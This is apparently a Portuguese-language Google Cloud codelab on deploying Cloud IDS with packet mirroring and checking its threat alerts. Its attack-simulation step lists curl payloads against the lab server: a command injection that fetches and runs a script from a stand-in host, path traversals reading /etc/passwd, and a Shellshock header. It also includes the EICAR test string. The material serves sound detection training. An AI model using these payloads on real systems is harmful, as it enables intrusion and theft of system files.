Cloud IDS

1. Introdução

Neste laboratório, você vai implantar o Cloud IDS, um serviço avançado de detecção de intrusões de última geração que detecta ameaças de intrusões, malware, spyware e ataques de comando e controle. Você vai simular vários ataques e conferir os detalhes das ameaças no console do Cloud.

O que você vai aprender

  • Como criar um endpoint do Cloud IDS
  • Como criar duas máquinas virtuais com comandos gcloud
  • Como criar uma política de espelhamento de pacotes
  • Como simular tráfego de ataque de uma máquina virtual
  • Como conferir os detalhes das ameaças no console do Cloud e no Cloud Logging

O que é necessário

  • Conhecimento básico de comandos do Linux.

2. Casos de uso do Cloud IDS

O Cloud IDS oferece um serviço de detecção de intrusões (IDS) de última geração (IDS) nativo do Google Cloud para os clientes atenderem aos requisitos avançados de compliance e detecção de ameaças, como o PCI 11.4. O serviço usa as tecnologias de proteção contra ameaças da Palo Alto Networks para oferecer detecção avançada de intrusões. A combinação da infraestrutura de alto nível do Google Cloud com a segurança de alto nível da Palo Alto Networks oferece aos clientes uma combinação incomparável de um serviço de detecção avançada de ameaças totalmente gerenciado e de alto desempenho.

Quando os clientes migram para a nuvem, a segurança é uma prioridade. Ela quer ter controles de segurança similares no local, como o serviço de detecção de intrusões (IDS) na nuvem. Eles preferem usar uma solução de IDS gerenciada nativa da nuvem para facilitar a implantação, o alto desempenho e os custos otimizados em comparação com a implantação de uma solução de segurança de terceiros e o gerenciamento da infraestrutura ou a adição de assinaturas próprias. O Google Cloud IDS oferece um serviço de IDS gerenciado completo e com escalonamento automático. Com ele, os clientes podem analisar e mitigar ameaças, liberando tempo e recursos para gerenciar a infraestrutura ou as assinaturas das ameaças.

O Cloud IDS é implantado fora da banda e pode detectar e alertar sobre ameaças, mas não pode bloquear ameaças. Ele usa o Espelhamento de pacotes do Google Cloud para fazer uma cópia do tráfego de rede, que é analisado com o mecanismo de detecção de ameaças da Palo Alto Network.

3. Topologia do codelab

5a276f399e1d31e2.png

Figura 1. Visão geral da arquitetura de alto nível da implantação do Cloud IDS neste laboratório.

4. Configuração e requisitos

Configuração de ambiente autoguiada

  1. Faça login no Console do Google Cloud e crie um novo projeto ou reutilize um existente. Crie uma conta do Gmail ou do Google Workspace, se ainda não tiver uma.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • O Nome do projeto é o nome de exibição para os participantes do projeto. Ele é uma string de caracteres que não é usada pelas APIs do Google e pode ser atualizada a qualquer momento.
  • O ID do projeto precisa ser exclusivo em todos os projetos do Google Cloud e não pode ser alterado após a definição. O Console do Cloud gera automaticamente uma string única, geralmente não importa o que seja. Na maioria dos codelabs, você precisará fazer referência ao ID do projeto, que geralmente é identificado como PROJECT_ID. Então, se você não gostar dele, gere outro ID aleatório ou crie um próprio e veja se ele está disponível. Em seguida, ele fica "congelado" depois que o projeto é criado.
  • Há um terceiro valor, um Número de projeto, que algumas APIs usam. Saiba mais sobre esses três valores na documentação.
  1. Em seguida, você precisará ativar o faturamento no Console do Cloud para usar os recursos/APIs do Cloud. A execução deste codelab não será muito cara, se tiver algum custo. Para encerrar os recursos e não gerar cobranças além deste tutorial, siga as instruções de "limpeza" encontradas no final do codelab. Novos usuários do Google Cloud estão qualificados para o programa de US$ 300 de avaliação sem custos.

Inicie o Cloud Shell

Embora o Google Cloud e o Spanner possam ser operados remotamente do seu laptop, neste codelab usaremos o Google Cloud Shell, um ambiente de linha de comando executado no Cloud.

No Console do GCP, clique no ícone do Cloud Shell na barra de ferramentas localizada no canto superior direito:

bce75f34b2c53987.png

O provisionamento e a conexão com o ambiente levarão apenas alguns instantes para serem concluídos: Quando o processamento for concluído, você verá algo como:

f6ef2b5f13479f3a.png

Essa máquina virtual contém todas as ferramentas de desenvolvimento necessárias. Ela oferece um diretório principal persistente de 5 GB, além de ser executada no Google Cloud. Isso aprimora o desempenho e a autenticação da rede. Todo o trabalho neste laboratório pode ser feito apenas com um navegador.

5. Antes de começar

Ativar APIs

No Cloud Shell, verifique se o ID do projeto está configurado

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Ative todos os serviços necessários

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Criar rede VPC

Rede VPC

No Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Sub-rede

No Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Acesso a serviços particulares

No Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Conexão de serviço particular

No Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Regras de firewall

Para permitir que o IAP se conecte às instâncias de VM, crie uma regra de firewall que:

  • Aplica-se a todas as instâncias de VM que você quer disponibilizar usando o IAP.
  • Permite tráfego de entrada no intervalo de IP 35.235.240.0/20. Esse intervalo contém todos os endereços IP que o IAP usa para encaminhamento de TCP.

No Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Para permitir a porta HTTP padrão (TCP 80) e o protocolo ICMP para o servidor:

  • Aplica-se a recursos com a tag de rede "server"
  • Permite a entrada de todas as fontes

No Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Criar instância do Cloud NAT

Cloud Router

No Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

No Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Criar endpoint do Cloud IDS

Nesta seção, você vai criar um endpoint do Cloud IDS em us-east1 com a gravidade definida como informativa. A criação do endpoint do IDS leva aproximadamente 20 minutos.

Endpoint do IDS

No Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Verificar se o endpoint do Cloud IDS foi iniciado

gcloud ids endpoints list --project=$PROJECT_ID

Saída -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Crie duas máquinas virtuais

Nesta seção, você vai criar duas máquinas virtuais. O primeiro será seu servidor da Web, que será espelhado no Cloud IDS. A segunda máquina virtual será a origem do tráfego de ataque.

Máquina virtual 1 (servidor)

No Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Máquina virtual 2 (cliente)

No Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Preparando o servidor

Nesta tarefa, você vai validar seu servidor e fornecer um payload de malware benigno para seu cliente.

Acesse a VM por SSH usando o Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Confirme se o serviço da Web está em execução

sudo systemctl status nginx

Resposta - verificar se está ativo e em execução

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Alterar diretório para serviço da Web

cd /var/www/html/

Criar um arquivo de malware benigno no servidor da web

sudo touch eicar.file

Cole o conteúdo

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Voltar ao Cloud Shell

exit

criar uma política de espelhamento de pacotes do Cloud IDS

Identifique a regra de encaminhamento do endpoint do IDS e confirme se o estado do endpoint do IDS é "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Exemplo de saída: copie o valor de "endpointForwardRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Salve a regra de encaminhamento de endpoint do IDS em uma variável.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Política de Espelhamento de pacotes

No Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Verificar se a política de espelhamento de pacotes foi criada

No Cloud Shell

gcloud compute packet-mirrorings list

Saída

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. simular tráfego de ataque

SSH na máquina virtual do invasor (cliente)

No Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Execute as solicitações curl a seguir para simular tráfego malicioso.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Saia da VM para voltar ao Cloud Shell

exit

11. analisar as ameaças detectadas pelo Cloud IDS

Navegue até o painel do Cloud IDS

Menu de navegação > Segurança de rede > Cloud IDS

37583419aa604aa8.png

Navegue até a guia "Ameaças".

b7d934f409b4e2b.png

O Cloud IDS capturou vários perfis de tráfego de ataque e informou os detalhes de cada ameaça. Talvez seja necessário clicar no botão "Atualizar" se nenhuma ameaça aparecer. Agora, vamos nos aprofundar um pouco mais e consultar os detalhes das ameaças.

Localize a seção "Bash Remote Code Execution Vulnerability" ameaça e clicar nos três pontos à direita e selecionar "Visualizar detalhes da ameaça"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Agora, os detalhes desse incidente vão aparecer no Cloud Logging. Volte para a página "Ameaças" clicando na seta para a esquerda .

Clique nos três pontos à direita e selecione "Ver registros de ameaças".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Os mesmos detalhes são fornecidos ao Cloud Logging. Dessa forma, você vai conseguir enviar os registros para o Cloud Storage, o Chronicle ou qualquer SIEM/SOAR. Também é possível criar fluxos de trabalho personalizados para tomar medidas de correção com base em alertas, por exemplo, criar uma função do Cloud que seja acionada em um alerta e criar/atualizar uma regra de firewall para bloquear o endereço IP ou criar/atualizar uma política do Cloud Armor.

12. Etapas de limpeza

Sair da instância da VM (todas as guias)

exit

Exclua os componentes do laboratório em um único terminal do Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Parabéns!

Parabéns por concluir o codelab.

O que vimos

  • Casos de uso do Cloud IDS
  • Requisitos de rede
  • APIs compatíveis
  • Criou um endpoint do Cloud IDS
  • 2 VMs implantadas
  • Ganhou algum "ataque" tráfego do cliente
  • Ameaças verificadas foram detectadas pelo IDS
  • Analisar registros e detalhes de ameaças